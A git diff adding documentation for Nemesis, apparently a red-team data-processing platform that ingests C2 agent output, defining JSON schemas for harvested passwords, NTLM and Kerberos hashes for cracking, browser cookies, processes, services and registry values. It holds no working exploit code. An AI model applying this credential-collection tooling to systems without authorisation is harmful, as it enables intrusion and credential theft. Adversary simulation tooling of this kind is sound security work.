+The metadata section include the project name and agent from which the data was collected. Each data submission will be primarily relevant to one of these two scopes which will be defined in each ODR.
+
+The metadata must include the time the data was sent to Nemesis, type of agent from which the data was collected (ex. beacon), a unique agent identifier, and whether the data was automatically sent from the agent or manually submitted by an operator. This information helps triage issues that may occure with data ingest to Nemesis.
+
+The metadata must include an experation date for when the data should be removed from Nemesis. This helps with data compliance policies.
+
+Finally, the metadata must include a type name to define which ODR the body of the data submission must conform to.
+
+Values:
+| Name | Format | Description |
+| ---------- | -------- | ------------------------------------------------------------------------------ |
+| agent_id | string | Name or unique identifier for an agent |
+| agent_type | string | Name of the type of agent (ex. beacon/apollo/etc.) |
+| automated | bool | True if the submission was submitted automatically |
+| data_type | string | Name of the ODR the body must conform to |
+| expiration | datetime | Time the data should be removed from Nemesis |
+| source | string | Info about the source of the data. See each data type for possible values |
+| project | string | Name or unique identifier for a project |
+| timestamp | datetime | Time the C2 platform sent the data to Nemesis |
+
+
+Json Example:
+```json
+{
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "file_data",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ },
+ "data": {
+ ...
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/odr/references/authentication_data.md b/docs/odr/references/authentication_data.md
new file mode 100644
index 0000000..0646b00
--- /dev/null
+++ b/docs/odr/references/authentication_data.md
@@ -0,0 +1,88 @@
+# Authentication Data
+Date type: `authentication_data`
+
+## Overview
+Data that may be used to authenticate to a resource. The resource does not need to be accessible over a network and a local resource may be specified using the `file://` scheme in the URI parameter. The type data may be anything that may be used to authenticate such as a password, certificate, JWT, SAML token, TGT, NTLM hash, private key, etc. The authentication data does not need to be additionally encoded because all ODR string parameters already support hex encoding values.
+
+| Parameters | Format | Description |
+| --------------------- | ----------- | ------------------------------------------------------------------------------------- |
+| data | string/UUID | Case sensitive data or a Nemesis UUID reference (if > 1024 bytes and is_file is True) |
+| type | string | Type of the auth data (defined below) |
+| is_file | bool | True if data is a reference to a binary submission |
+| uri | string | Location of where the data is valid |
+| username | string | Simple or FQDN username if applicable |
+| notes | string | Any additional notes/context |
+| originating_object_id | UUID | The Nemesis UUID reference of the file the data was extracted from (if appliable) |
+
+
+### Supported Type values
+
+Type values are not case-sensitive.
+
+Any value can be submitted for the "type", however only the following values are formally supported:
+
+| Name | Description |
+| ---------------------- | ------------------------------------------------------------------------------ |
+| unknown | unknown auth data type |
+| password | plaintext/decrypted password |
+| dpapi_masterkey | GUID:SHA1 of a user/machine DPAPI master key |
+| dpapi_system | DPAPI_SYSTEM LSA secret |
+| ntlm_hash | Same as the RC4_HMAC_MD5 Kerberos key |
+| aes_128_key | Kerberos - AES128_HMAC_SHA1 key |
+| aes_256_key | Kerberos - AES256_HMAC_SHA1 key |
+| kerberos_ticket_kiribi | Kerberos .kirbi cred file - TGT or service ticket |
+| kerberos_ticket_ccache | Kerberos .ccache cred file - TGT or service ticket |
+| adcs_certificate | Kerberos - AD CS certificate capable of authentication |
+| saml_token | Web - Security Assertion Markup Language (SAML) token |
+| json_web_token | Web - JSON Web Token (JWT) |
+| api_key | Web - key for a web API |
+| private_key | Misc - private key |
+| misc | Misc auth data type |
+| hash_ms_dcc | Microsoft Cache/Domain Cached Credentials |
+| hash_krb_tgs_rep_23 | Kerberos 5, etype 23, TGS-REP (kerberoasting) |
+| hash_krb_as_rep_23 | Kerberos 5, etype 23, AS-REP (asrep-roasting) |
+| hash_krb_tgs_rep_17 | Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96) (AES128 kerberoasting) |
+| hash_krb_tgs_rep_18 | Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96) (AES256 kerberoasting) |
+| hash_krb_as_req_23 | Kerberos 5, etype 23, AS-REQ Pre-Auth |
+| hash_ms_office | Extracted from MS Office documents with office2john |
+| hash_zip | Extracted from MS Office documents with zip2john |
+| hash_pdf | Extracted from pdf documents with pdf2john |
+| hash_apple_keychain | Apple Keychain |
+| hash_crypt | md5crypt/shacrypt/etc. from linux shadow files |
+| hash_mssql | MSSQL hash formats |
+| hash_cisco_ios | Cisco-IOS (PBKDF2-SHA256/scrypt/etc.) |
+
+
+The `hash_` type values are meant for cracking, while other values are "plaintext".
+
+## Protobuf Definition
+
+**AuthenticationDataIngestionMessage** and **AuthenticationDataIngestion** in *nemesis.proto*
+
+## Examples
+```json
+{
+ "data": [
+ ...
+ {
+ "uri": "ftp://192.168.10.10:8080",
+ "username": "user",
+ "type": "password",
+ "is_file": false,
+ "data": "pass1!",
+ "notes": "found while working",
+ },
+ ...
+ ]
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "authentication_data",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/odr/references/cookie.md b/docs/odr/references/cookie.md
new file mode 100644
index 0000000..abfee92
--- /dev/null
+++ b/docs/odr/references/cookie.md
@@ -0,0 +1,66 @@
+# Registry Value
+Date type: `cookie`
+
+## Overview
+...
+
+### Message format:
+
+| Parameters | Format | Description |
+| ------------------- | --------- | ----------------------------------------------------------------- |
+| user_data_directory | string | Path of the user data folder, if known. |
+| domain | string | Domain/host key for the cookie. |
+| path | string | Path on the domain for the cookie. |
+| name | string | Name of the cookie value. |
+| value | string | Plaintext decrypted cookie value (if decrypted). |
+| value_enc | string | Base64 encoding of encrypted value bytes. |
+| expires | timestamp | Timestamp of when the cookie expires. |
+| creation | timestamp | Timestamp of when the cookie was created. |
+| last_access | timestamp | Timestamp of when the cookie was last accessed. |
+| last_update | timestamp | Timestamp of when the cookie was last updated. |
+| secure | bool | True if the cookie can only be sent over HTTPS. |
+| http_only | bool | True if the cookie can only be accessed by the server. |
+| session | bool | True if the cookie is deleted when the user closes their browser. |
+| samesite | string | strict/lax/none, protection against CSRF attacks. |
+| source_port | int | The port number of the source origin. |
+
+## Protobuf Definition
+
+**CookieIngestionMessage** and **CookieIngestion** in *nemesis.proto*
+
+## Examples
+```json
+{
+ "data": [
+ ...
+ {
+ "user_data_directory": "C:/Users/harmj0y/AppData/Local/Google/Chrome/User Data/Default/Cookies",
+ "domain": "example.com",
+ "path": "/",
+ "name": "username",
+ "value": "harmj0y",
+ "expires": "2024-01-01T01:01:01.000Z",
+ "creation": "2023-01-01T01:01:01.000Z",
+ "last_access": "2023-01-01T01:01:01.000Z",
+ "last_update": "2023-01-01T01:01:01.000Z",
+ "secure": true,
+ "http_only": false,
+ "session": false,
+ "samesite": "LAX",
+ "source_port": 8443
+ }
+ ...
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "cookie",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
+```
+
diff --git a/docs/odr/references/file_data.md b/docs/odr/references/file_data.md
new file mode 100644
index 0000000..15ec1c2
--- /dev/null
+++ b/docs/odr/references/file_data.md
@@ -0,0 +1,42 @@
+# File Data
+Date type: `file_data`
+
+## Overview
+The content of a specific file system resource. The path must be in a UNC, file system, or mapped path format. File system and mapped paths must be absolute and use forward slashes for separators (e.g. `/`). Paths are expected to be canonicalized but there is no verification of this.
+
+The `object_id` field is retrieved by first uploading the file to the `./file` endpoint, which saves the file to the backend storage and returns a `{"object_id": "X..."}` JSON structure.
+
+| Parameters | Format | Description |
+| ---------- | ------ | ------------------------------------------- |
+| path | string | The original full file path |
+| size | long | Size of the file, in bytes |
+| object_id | UUID | The UUID returned on file upload to Nemesis |
+
+## Protobuf Definition
+
+**FileDataIngestionMessage** and **FileDataIngestion** in *nemesis.proto*
+
+## Examples
+```json
+{
+ "data": [
+ ...
+ {
+ "path": "//server/C$/Temp/out.txt",
+ "size": 42,
+ "object_id": "2f0a4f7a-6b97-4869-a8b6-d7df3c9f5124"
+ },
+ ...
+ ]
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "file_data",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/odr/references/file_information.md b/docs/odr/references/file_information.md
new file mode 100644
index 0000000..49213dd
--- /dev/null
+++ b/docs/odr/references/file_information.md
@@ -0,0 +1,62 @@
+ # File Information
+Date type: `file_information`
+
+## Overview
+Information about a specific file system resource. Note that `file_info` is more specialized than the `path_list` submission which may include information about non-file system resources (ex. registry paths). The path must be in a UNC, file system, or mapped path format. File system and mapped paths must be absolute and use forward slashes for separators (e.g. `/`). Paths are expected to be canonicalized but there is no verification of this. Submission parameters may accommodate files from most operating systems. The only submission parameters that are required is the file path and type. Note that all date time parameters in ODRs including for the modified, access, and creation times for Windows files are expected to be in UTC.
+
+| Parameters | Format | Description |
+| ----------------- | -------- | ----------------------------------------- |
+| path | string | Case sensitive file path |
+| type | string | Case insensitive full name of file type |
+| size | long | Size in bytes |
+| creation_time | datetime | The file the file was created |
+| access_time | datetime | The last time the file was accessed |
+| modification_time | datetime | The last time the file was modified |
+| access_mode | int | *nix permission number |
+| group | string | *nix case sensitive file group membership |
+| id | string | *nix string for an inode or file id |
+| owner | string | Case sensitive owner (*nix and Windows) |
+| sddl | string | Case sensitive Windows permission string |
+| version_info | string | Windows VersionInfo as a single string |
+
+### File Types
+
+The current supported file types:
+
+| Type | Description |
+| ------ | ---------------------- |
+| file | An actual file on disk |
+| folder | A folder on disk |
+| share | A remote network share |
+
+## Protobuf Definition
+
+**FileInformationIngestionMessage** and **FileInformationIngestion** in *nemesis.proto*
+
+## Examples
+
+JSON:
+```json
+{
+ "data": [
+ ...
+ {
+ "path": "//server/C$/Temp/out.txt",
+ "size": "42",
+ "type": "file",
+ ...
+ },
+ ...
+ ]
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "file_information",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/odr/references/host_data/named_pipe.md b/docs/odr/references/host_data/named_pipe.md
new file mode 100644
index 0000000..d8eaa16
--- /dev/null
+++ b/docs/odr/references/host_data/named_pipe.md
@@ -0,0 +1,21 @@
+ # Named Pip
+Date type: `named_pipe`
+
+## Overview
+Information about a Windows named pipe.
+
+| Parameters | Format | Description |
+| ------------------- | ------ | ---------------------------------------- |
+| name | string | Case sensitive pipe name |
+| server_process_name | string | Name of the server process |
+| server_process_id | int | PID of the server process |
+| server_process_path | string | Path of the server process binary |
+| sddl | string | Case sensitive Windows permission string |
+
+## Protobuf Definition
+
+**NamedPipeIngestionMessage** and **NamedPipeIngestion** in *nemesis.proto*
+
+## Examples
+
+[named_pipes.json](../../../../sample_files/structured/named_pipes.json)
\ No newline at end of file
diff --git a/docs/odr/references/host_data/process.md b/docs/odr/references/host_data/process.md
new file mode 100644
index 0000000..baad8a2
--- /dev/null
+++ b/docs/odr/references/host_data/process.md
@@ -0,0 +1,100 @@
+# Process(es)
+Date type: `process`
+
+## Overview
+Information about the currently running processes for the host the agent is running on. Submission parameters may accommodate processes information for most operating systems. The only submission parameter that is required is the process id.
+
+| Parameters | Format | Description |
+| ----------------- | --------------- | -------------------------------------------------- |
+| name | string | If known, the name of the process |
+| command_line | string | If known, the full command line that was executed |
+| file_name | string | If known, the name of the file that was executed |
+| process_id | int | Process ID |
+| parent_process_id | int | Parent process ID |
+| arch | string | Architecture of the process (e.g., x86, x64, arm) |
+| start_time | datetime | Time the process was started, if known |
+| memory | long | The amount of memory used by the process, in bytes |
+| token | Token | Token information for the user (if available) |
+
+
+### Token
+
+The Token data type is defined as:
+```
+message Principal {
+ // Security identifier, if known
+ string sid = 1;
+
+ // Name of the principal, if known. The format should be the Down-Level Logon Name (e.g., DOMAIN\user)
+ string name = 2;
+}
+message Token {
+ message TokenPrivilege {
+ // Privilege name (e.g., SeDebugPrivilege)
+ string privilege_name = 1;
+
+ // Is the privileged enabled
+ bool enabled = 2;
+ }
+ enum TokenType {
+ TOKENTYPE_UNSPECIFIED = 0;
+ TOKENTYPE_PRIMARY = 1;
+ TOKENTYPE_IMPERSONATION = 2;
+ }
+ enum ImpersonationLevel {
+ IMPERSONATIONLEVEL_UNSPECIFIED = 0;
+ IMPERSONATIONLEVEL_ANONYMOUS = 1;
+ IMPERSONATIONLEVEL_IDENTIFICATION = 2;
+ IMPERSONATIONLEVEL_IMPERSONATION = 3;
+ IMPERSONATIONLEVEL_DELEGATION = 4;
+ }
+
+ Principal user = 1;
+
+ repeated Principal groups = 2;
+
+ repeated TokenPrivilege privileges = 3;
+
+ TokenType type = 4;
+
+ ImpersonationLevel impersonation_level = 5;
+
+ uint32 session = 6;
+}
+```
+
+## Protobuf Definition
+
+**ProcessIngestionMessage** and **ProcessIngestion** in *nemesis.proto*
+
+## Examples
+```json
+{
+ "data": [
+ ...
+ {
+ "parent_process_id": "2700",
+ "name": "conhost.exe",
+ "process_id": "4252",
+ "arch": "x64",
+ "token": {
+ "user": {
+ "name": "BASEIMAGE\\localuser"
+ },
+ }
+ },
+ ...
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "process",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
+
diff --git a/docs/odr/references/host_data/registry_value.md b/docs/odr/references/host_data/registry_value.md
new file mode 100644
index 0000000..0a13721
--- /dev/null
+++ b/docs/odr/references/host_data/registry_value.md
@@ -0,0 +1,64 @@
+# Registry Value
+Date type: `registry_value`
+
+## Overview
+The key name/type, corresponding value, and SDDL of a registry key.
+Key paths be absolute and use forward slashes for separators (e.g. `/`).
+
+The `Value` for the key is stored as a string regardless of the ValueKind.
+Specifically, values of type REG_BINARY are stored as base64-encoded strings,
+while numeric values are stored as strings as well.
+
+### Message format:
+
+| Parameters | Format | Description |
+|------------|-------------------|---------------------------------------------------------|
+| key | string | The path for the value, including hive (e.g., HKLM/...) |
+| value_name | string | The name of the value |
+| value_kind | RegistryValueKind | The RegistryValueKind enum |
+| value | string | String representation of the registry value. |
+| sddl | string | SDDL representation of the ACL for this key |
+
+### RegistryValueKind:
+
+The RegistryValueKind enum is [defined by Microsoft here](https://learn.microsoft.com/en-us/dotnet/api/microsoft.win32.registryvaluekind?view=net-7.0):
+
+| String | Int | Description |
+|--------------|-----|-------------------------------------------------------------------------------------------------------------------------------------------------------|
+| Unknown/None | 0 | An unsupported registry data type. |
+| String | 1 | A null-terminated string. This value is equivalent to the Windows API registry data type REG_SZ. |
+| ExpandString | 2 | A null-terminated string that contains unexpanded references to environment variables, such as %PATH%, that are expanded when the value is retrieved. |
+| Binary | 3 | Binary data in any form. This value is equivalent to the Windows API registry data type REG_BINARY. |
+| DWord | 4 | A 32-bit binary number. This value is equivalent to the Windows API registry data type REG_DWORD. |
+| MultiString | 7 | An array of null-terminated strings, terminated by two null characters. This value is equivalent to the Windows API registry data type REG_MULTI_SZ. |
+| QWord | 11 | A 64-bit binary number. This value is equivalent to the Windows API registry data type REG_QWORD. |
+
+## Protobuf Definition
+
+**RegistryValueIngestionMessage** and **RegistryValueIngestion** in *nemesis.proto*
+
+## Examples
+```json
+{
+ "data": [
+ ...
+ {
+ "key": "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon",
+ "value_name": "DefaultDomainName",
+ "value_kind": 1,
+ "value": "THESHIRE"
+ },
+ ...
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "registry_value",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/odr/references/host_data/service.md b/docs/odr/references/host_data/service.md
new file mode 100644
index 0000000..bba6515
--- /dev/null
+++ b/docs/odr/references/host_data/service.md
@@ -0,0 +1,92 @@
+ # Service
+Date type: `service`
+
+## Overview
+Information about a Windows service.
+
+| Parameters | Format | Description |
+| --------------- | ------ | ---------------------------------------------------------------------- |
+| name | string | Case sensitive service name |
+| display_name | string | Case sensitive service display name |
+| description | string | Case sensitive sservice description |
+| start_name | string | Case sensitive username the service starts as |
+| state | string | Case insensitive state of the service (running, stopped, etc.) |
+| start_mode | string | Case insensitive start mode of the service (automatic, disabled, etc.) |
+| type | string | Case insensitive type of the service |
+| service_command | string | Case sensitive binary path of the serbice binary + any arguments |
+| service_dll | string | Case sensitive file path of the service DLL being loaded into SVCHOST |
+| service_sddl | string | Case sensitive Windows permission string |
+
+### State
+
+The current supported state values:
+
+| Value | Description |
+| --------------- | -------------------------------- |
+| Stopped | The service is not running. |
+| StartPending | The service is starting. |
+| StopPending | The service is stopping. |
+| Running | The service is running. |
+| ContinuePending | The service continue is pending. |
+| PausePending | The service pause is pending. |
+| Paused | The service is paused. |
+
+### Start Mode
+
+The current supported start mode values:
+
+| Value | Description |
+| --------- | -------------------------------------------------------------------------------------------------------------------------------- |
+| Boot | Indicates that the service is a device driver started by the system loader. This value is valid only for device drivers. |
+| System | Indicates that the service is a device driver started by the IOInitSystem function. This value is valid only for device drivers. |
+| Automatic | Indicates that the service is to be started (or was started) by the operating system, at system start-up. |
+| Manual | Indicates that the service is started only manually, by a user (using the Service Control Manager) or by an application. |
+| Disabled | Indicates that the service is disabled. |
+
+### Type
+
+| Value | Description |
+| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| KernelDriver | A Kernel device driver such as a hard disk or other low-level hardware device driver. |
+| FileSystemDriver | A file system driver, which is also a Kernel device driver. |
+| Adapter | A service for a hardware device that requires its own driver. |
+| RecognizerDriver | A file system driver used during startup to determine the file systems present on the system. |
+| Win32OwnProcess | A Win32 program that can be started by the Service Controller and that obeys the service control protocol. This type of Win32 service runs in a process by itself. |
+| Win32ShareProcess | A Win32 service that can share a process with other Win32 services. |
+
+## Protobuf Definition
+
+**ServiceIngestionMessage** and **ServiceIngestion** in *nemesis.proto*
+
+## Examples
+
+JSON:
+```json
+{
+ "data": [
+ ...
+ {
+ "name": "gupdate",
+ "display_name": "Google Update Service (gupdate)",
+ "description": "Keeps your Google software up to date. If this service is disabled or stopped, your Google software will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work. This service uninstalls itself when there is no Google software using it.",
+ "start_name": "LocalSystem",
+ "state": "Stopped",
+ "start_mode": "Auto",
+ "type": "Win32ShareProcess",
+ "service_command": "\"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe\" /svc",
+ "service_sddl": "O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)"
+ },
+ ...
+ ]
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "service",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/odr/references/network_connection.md b/docs/odr/references/network_connection.md
new file mode 100644
index 0000000..ea65c4b
--- /dev/null
+++ b/docs/odr/references/network_connection.md
@@ -0,0 +1,72 @@
+# Network Connections
+Date type: `network_connection`
+
+## Overview
+
+Connections between the host the agent is running with itself or another host. These could also be listening ports (i.e., netstat output).Addresses are expected to conform to the public standard for the address type but there is no verification of this as well. As an example, ethernet addresses are expected to use a hyphen as a separator instead of a colon as per IEEE 802.3 but this is not verified.
+
+The protocol list and matching source and destination lists represent the protocol stack used for a connection. The lists only need to represent a portion of the protocol stack and do not need to represent the entirety of it. The lists allow the ODR to be reused for any connection type an operator may be interested in without having to make a new ODR for each new connectiontype.
+
+local_address is treated as source, remote_address is treated as destination.
+
+| Parameters | Format | Description |
+| -------------- | ------ | ------------------------------------------------------------------------------------- |
+| local_address | string | Local/source address for the connection. |
+| remote_address | string | Remote/destination address for the connection. |
+| protocol | string | Protocol specification ("tcp,ipv4", "udp,ipv4", "tcp,ipv6", etc.) |
+| state | string | Optional - case insensitive state of the connection (e.g., listen, established, etc.) |
+| process_id | int | Optional - process ID handling the connection |
+| process_name | string | Optional - process name handling the connection |
+| service | string | Optional - service name handling the connection |
+
+### State
+
+The current supported state values (same as `netstat`):
+
+| State | Description |
+| ----------- | ---------------------------------------------------------------------------- |
+| ESTABLISHED | A connection has been established. |
+| SYN_SENT | The local_address is attempting to establish a connection. |
+| SYN_RECV | The local_address has received a connection request. |
+| FIN_WAIT1 | The connection is shutting down. |
+| FIN_WAIT2 | The local_address is waiting for a shutdown from the remote end. |
+| TIME_WAIT | local_address is waiting after close to handle packets still in the network. |
+| CLOSED | The socket is closed. |
+| CLOSE_WAIT | remote_address has shut down. |
+| LAST_ACK | remote_address has shut down, waiting for acknowledgement. |
+| LISTEN | local_address is for incoming connections. |
+| CLOSING | Both sides have shut down but not all data has been sent. |
+| UNKNOWN | Unknown state. |
+
+
+## Protobuf Definition
+
+**NetworkConnectionIngestionMessage** and **NetworkConnectionIngestion** in *nemesis.proto*
+
+## Examples
+```json
+{
+ "data": [
+ ...
+ {
+ "local_address": "172.16.111.218:52279",
+ "remote_address": "172.16.111.171:80",
+ "protocol": "tcp,ipv4",
+ "state": "ESTABLISHED",
+ "process_id": 1260,
+ "process_name": "program.exe"
+ },
+ ...
+ ]
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "file_data",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/odr/references/path_list.md b/docs/odr/references/path_list.md
new file mode 100644
index 0000000..e9b770f
--- /dev/null
+++ b/docs/odr/references/path_list.md
@@ -0,0 +1,46 @@
+ # File Information
+Date type: `path_list`
+
+## Overview
+Child listings for a specified path. The path must be in a UNC, URI, file system, or mapped path format. File system and mapped paths must be absolute and use forward slashes for separators (e.g. `/`). Paths are expected to be canonicalized but there is no verification of this. The mapped file format may be used to specify a registry keys as well using PowerShell convention of specifying the hive name as the drive (ex. `HKLM:`).
+
+| Parameters | Format | Description |
+| ---------- | -------- | ---------------------------- |
+| path | string | Case sensitive resource path |
+| items | string[] | Case sensitive child items |
+
+
+## Protobuf Definition
+
+**PathListIngestionMessage** and **PathListIngestion** in *nemesis.proto*
+
+## Examples
+
+JSON:
+```json
+{
+ "data": [
+ ...
+ {
+ "path": "C:/",
+ "items": [
+ "Program Files",
+ "Program Files (x86)",
+ "Windows",
+ ...
+ ]
+ },
+ ...
+ ]
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "path_list",
+ "expiration": "2023-08-01T22:51:35",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/odr/references/raw_data.md b/docs/odr/references/raw_data.md
new file mode 100644
index 0000000..164be35
--- /dev/null
+++ b/docs/odr/references/raw_data.md
@@ -0,0 +1,41 @@
+# Raw Data
+Date type: `raw_data`
+Scope: Project
+
+## Overview
+Data that may consist of anything. Developers and operators may use this type to push arbitrary data to the ODS to take advantage of any builtin or custom automated post processing the ODS performs. Example use cases include daily status reports, C2 logs, and other data that may be unique to the workflow of a team.
+
+| Parameters | Format | Description |
+|------------|-------------|----------------------------------------------------|
+| tags | string[] | Array of user defined case insensitive keywords |
+| is_file | bool | True if data is a reference to a binary submission |
+| data | string/UUID | Case sensitive data or a Nemesis UUID reference |
+
+## Protobuf Definition
+
+**RawDataIngestionMessage** and **RawDataIngestion** in *nemesis.proto*
+
+## Examples
+
+JSON:
+```json
+{
+ "data": [
+ {
+ "tags": [
+ "seatbelt_json"
+ ],
+ "data": "123777d8-7186-4063-8456-362c50a9b3db"
+ }
+ ]
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": 1,
+ "data_type": "raw_data",
+ "expiration": "2023-08-01T22:51:35",
+ "project": "ASSESS-X",
+ "timestamp": "2022-08-01T22:51:35"
+ }
+}
+```
\ No newline at end of file
diff --git a/docs/overview.md b/docs/overview.md
new file mode 100644
index 0000000..a43344d
--- /dev/null
+++ b/docs/overview.md
@@ -0,0 +1,57 @@
+# Goal
+
+The goal of Nemesis is to create an extensible data-processing system for
+Advesary Simulation operations which takes data collected from C2 agents and
+provides efficiencies to operator workflows
+
+Nemesis should be designed with a small core that wrangles data from various C2
+platforms and outputs it to a system for data consumers to use. Examples of data
+consumers are:
+
+- ELK
+- File text extraction and storage
+- Sending discovered hashes to a hash cracker
+- Vulnerability discovery pipeline for binaries
+- etc.
+
+
+## Project Structure
+
+- **./cmd/** - contains the custom applications deployed on each container
+- **./dockerfiles/** - contains Dockerfiles for building each container
+- **./docs/** - documentation
+- **./kubernetes/** - the k8s deployment/service configs for each pod/service
+- **./packages/** - the protobuf definitions + Go/Python compiled protobufs, and common Python library functions
+- **./skaffold.yaml** - the main skaffold deployment file
+
+
+## Design Choices
+
+Likely, all of these assumptions and justifications are wrong. As we learn more
+about the requirements and the technologies used, we can correct the assumptions
+and justifications while also holding off picking up a new technology because
+it's shiny.
+
+### HTTP Endpoint
+
+Easy for people to create consumers without needing to structure their messages
+with protobuf.
+
+### Protobuf
+
+Since the goal of this project is data processing, there should be a schema of
+the data types available. Protobuf is a great solution to schema design because
+strongly typed schemas can be generated for any language from the protobuf
+specification. Consumers can then use protobuf to generate their client code and
+have an accurate representation of the schema instead of reading data
+dictionaries and hopefully writing their client code to specification.
+
+The protobuf definitions for this project are in `./packages/protobufs/`, with a
+compiled Python package in `./packages/python/nemesispb`. The protobuf can be
+compiled with `./scripts/build_protobufs.sh`
+
+### RabbitMQ
+
+RabbitMQ has now replaced Kafka as the main queuing system for Nemesis. While
+RabbitMQ does not have some of the features of Kafka such as persistent storage
+and replay, it is significantly lighter weight and can still scale well.
diff --git a/docs/postgres.md b/docs/postgres.md
new file mode 100644
index 0000000..dfa2b85
--- /dev/null
+++ b/docs/postgres.md
@@ -0,0 +1,17 @@
+# Overview
+
+In addition to Elasticsearch for an unstructed/NoSQL approach, we are using PostgreSQL to store structured data such as DPAPI blobs/masterkeys/etc.
+
+The database schema for Postgres is at `./kubernetes/postgres/configmap.yaml`. It mimics the Protobufs defined in ./packages/nemesis.proto, **but are not guaranteed to match!**
+
+The default persistent storage size is 15Gi. To change this, modify the *two* `storage: 15Gi` entries under the **PersistentVolume** and **PersistentVolumeClaim** sections in ./kubernetes/postgres/deployment.yaml
+
+# Storage
+
+By default this PostgreSQL instance uses a persistent data store. The size of the datastore can be adjusted in `./kubernetes/postgres/deployment.yaml` by modifying the `storage: 15Gi` in the "PersistentVolume" and "PersistentVolumeClaim" config sections.
+
+To use temporary storage that is wiped on every Skaffold run, check out the `Option 1)` comment in `./kubernetes/postgres/deployment.yaml`
+
+## pgAdmin
+
+A pgAdmin interface is exposed at `NEMESIS_URL/pgadmin` with the credentials (PGADMIN_EMAIL/PGADMIN_PASSWORD) set in the common config.
diff --git a/docs/rabbitmq.md b/docs/rabbitmq.md
new file mode 100644
index 0000000..c69dd66
--- /dev/null
+++ b/docs/rabbitmq.md
@@ -0,0 +1,29 @@
+# Design decisions
+
+* Didn't go with the RabbitMQ operator because it doesn't play nicely with skaffold and is a fairly simple wrapper for the statefulset
+ * Doesn't delete pods/statefulsets during shutdown
+* Didn't go with just the docker container because to scale up you need to deploy them one at a time (so used a statefulset).
+
+# Data persistence
+
+Uncomment the PeristentVolume and PersistentVolumeClaim at the end of `./kubernetes/rabbitmq/statefulset.yaml`.
+
+# Scaling
+
+Rabbitmq scales vertifcally better (so give it more CPU + RAM)
+Add more replicas by editing `./kubernetes/rabbitmq/statefulset.yaml`.
+
+# Performance testing
+
+```
+kubectl run perf-test -it --rm --image=pivotalrabbitmq/perf-test -- --uri amqp://rabbit:Qwerty12345@nemesis-rabbitmq-svc
+```
+
+# Plumber example usage:
+
+plumber read rabbit --address="amqp://nemesis:Qwerty12345@192.168.230.42:5672" --queue-name="file_data" --exchange-name="nemesis" --binding-key=" " --queue-durable -f
+
+# References
+
+* https://blog.rabbitmq.com/posts/2020/08/deploying-rabbitmq-to-kubernetes-whats-involved/
+* https://github.com/GoogleCloudPlatform/click-to-deploy/tree/master/k8s/rabbitmq
\ No newline at end of file
diff --git a/docs/setup.md b/docs/setup.md
new file mode 100644
index 0000000..10b07f5
--- /dev/null
+++ b/docs/setup.md
@@ -0,0 +1,237 @@
+# VM Hardware Requirements
+We have only tested on machines with the the following specs. All other configurations are not officially supported.
+
+ * OS: Debian 11 LTS or Debian 11 on the Windows Subsystem for Linux(WSL).
+ * 4 processors
+ * 16 GB RAM
+ * 100 GB disk
+
+You could probably do 3 processors and 10 GB RAM, just might need to change how many CPUs and how much memory you give to minikube (and then cross your fingers you don't get OOMErrors from Kubernetes :P)
+
